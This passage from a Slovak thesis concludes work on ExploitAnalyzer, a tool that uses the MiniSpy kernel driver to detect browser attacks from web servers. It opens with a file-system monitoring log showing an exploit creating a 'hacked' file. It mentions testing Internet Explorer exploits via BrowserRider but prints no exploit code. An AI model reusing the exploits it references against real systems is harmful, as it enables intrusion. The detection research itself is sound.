784 3676 C:\WINDOWS\system32\cmd.exe IRP_MJ_NETWORK_QUERY_OPEN
784 3676 C:\WINDOWS\system32\cmd.exe IRP_MJ_CREATE
784 3676 C:\WINDOWS\system32\cmd.exe IRP_MJ_ACQUIRE_FOR_SECTION_SYNC
... …. ... ...
3652 3664 C:\WINDOWS\WindowsShell.Manifest IRP_MJ_CLEANUP
3652 3664  <NO NAME: NormalizeStatus=c01c0018 
OpenedStatus=c01c0018>
IRP_MJ_CLOSE
3652 3664 C:\Documents and 
Settings\Administrator\Plocha
IRP_MJ_NETWORK_QUERY_OPEN
... ... ... ...
3652 3664 C:\Documents and Settings\Administrator\Plocha\hacked IRP_MJ_CREATE
3652 3664 C:\Documents and Settings\Administrator\Plocha\hacked IRP_MJ_CLEANUP
Tabuľka 6.2: Niektoré IRP požiadavky generované IE(784) a cmd(3652).
        
                                                                                                                                                                ; ;




Hlavným cieľom tejto práce bolo implementovať aplikáciu, ktorá by dokázala zaznamenať útok 
vedený z webového servera na webový prehliadač. Prvým krokom k naplneniu tohto cieľa bolo 
urobiť štúdiu, s akými typmi útokov sa na internete môžeme stretnúť. V kapitole 2 som popísal 
spôsoby  útokov  vedených  z  webového  servera  a  tiež  som  podrobne  rozobral  dva  exploity 
zneužívajúce známe chyby Internet Exploreru CVE-2009-0072  a CVE-2007-0024. Táto analýza 
mi neskôr pomohla pri špecifikácii požiadaviek na aplikáciu ExploitAnalyzer. 
Aby  som  si  mohol  jednotlivé  útoky  a  exploity  vyskúšať  bolo  potrebné  vytvoriť 
simulačné prostredie.  Na vytvorenie tohto prostredia som použil  webový server  Apache2,  na 
ktorý som nainštaloval browser exploitation framework BrowserRider. Po zoznámení sa s týmto 
frameworkom som objavil niektoré nedostatky v jeho funkčnosti. Najviac mi prekážala veľmi 
malá databáza dostupných exploitov a payloads a tiež veľké množstvo chýb v bežnej funkčnosti. 
Nakoniec  som  ale  z  trochou  improvizácie  dokázal  analyzované  exploity  z  kapitoly  2 v 
BrowserRideri spustiť. 
Po dôkladnej  analýze som sa  zameral  na  špecifikáciu požiadaviek aplikácie  ExploitAnalyzer. 
Medzi  najdôležitejšie  požiadavky  aplikácie  som zaradil  monitorovanie  procesov  bežiacich  v 
operačnom systéme, veľkosť pamäte alokovanej konkrétnym procesom a kontrolu všetkých IRP 
požiadaviek smerujúcich na systém súborov.
Základom implementácie sú dva samostatné programy. Prvým je ovládač  MiniSpy od 
spoločnosti Microsoft, ktorý pracuje v režime jadra a  zabezpečuje monitorovanie IRP požiada-
viek.  Druhým je  samotný  ExploitAnalyzer pracujúci  v  užívateľskom režime.  ExploitAnalyzer 
komunikuje s ovládačom pomocou portu, ktorý určuje buffer kde sú uložené dáta. Monitorovanie 
procesov v aplikácii  zabezpečujú triedy z  menného priestoru  System::Diagnostic.  V Exploit-
Analyzeri sú tiež implementované bežné funkcie, ktoré môžeme s procesmi prevádzať, ako je 
napríklad kill procesu.
Po úspešnej analýze som na výslednej aplikácii vykonal sériu testov za pomoci exploitov 
analyzovaných  v  kapitole  2.  ExploitAnalyzer  dokázal  pri  každom  teste  poskytnúť  výstupy 
dokazujúce prebiehajúci útok. 
Najvážnejším nedostatkom ExploitAnalyzeru  je malé množstvo informácii, ktoré získa z 
ovládaču  MiniSpy.  Preto  prvým  krokom  pri  rozširovaní  ExploitAnalyzeru,  by  malo  byť 
nahradenie ovládaču MiniSpy novým ovládačom napísaným pre potreby aplikácie. Tento ovládač 
by sa mohol zamerať na kontrolu registrov, pamäte a registrov procesoru. Taktiež by bolo dobré 
presunúť  monitorovanie  procesov  z  užívateľského  režimu  do  režimu  jadra  kvôli  lepšiemu 
výkonu a presnosti výstupov. 
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